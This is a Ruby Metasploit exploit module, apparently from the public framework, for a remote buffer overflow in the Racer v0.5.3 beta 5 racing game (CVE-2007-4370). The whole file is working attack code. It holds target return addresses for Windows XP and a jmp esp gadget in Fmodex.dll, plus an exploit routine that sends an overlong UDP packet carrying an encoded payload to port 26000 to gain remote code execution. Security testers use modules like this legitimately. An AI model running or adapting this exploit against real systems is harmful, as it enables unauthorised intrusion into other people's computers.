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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
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        'Description' => %q{
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          This module exploits the Racer Car and Racing Simulator game
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          versions v0.5.3 beta 5 and earlier. Both the client and server listen
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          on UDP port 26000. By sending an overly long buffer we are able to
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          execute arbitrary code remotely.
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        },
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        'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2007-4370' ],
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          [ 'OSVDB', '39601' ],
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          [ 'EDB', '4283' ],
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          [ 'BID', '25297' ],
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        ],
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x5c\x00",
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          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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        },
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        'DefaultOptions' => {
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          'AllowWin32SEH' => true
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # Tested ok aushack 20090503
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          [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
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          [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
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          [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
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        ],
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        'DisclosureDate' => '2008-08-10',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(26000)
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    buf = Rex::Text.rand_text_alphanumeric(1001)
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    buf << [target.ret].pack('V')
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    buf << payload.encoded
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    buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
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    udp_sock.put(buf)
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    handler
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    disconnect_udp
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  end
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end
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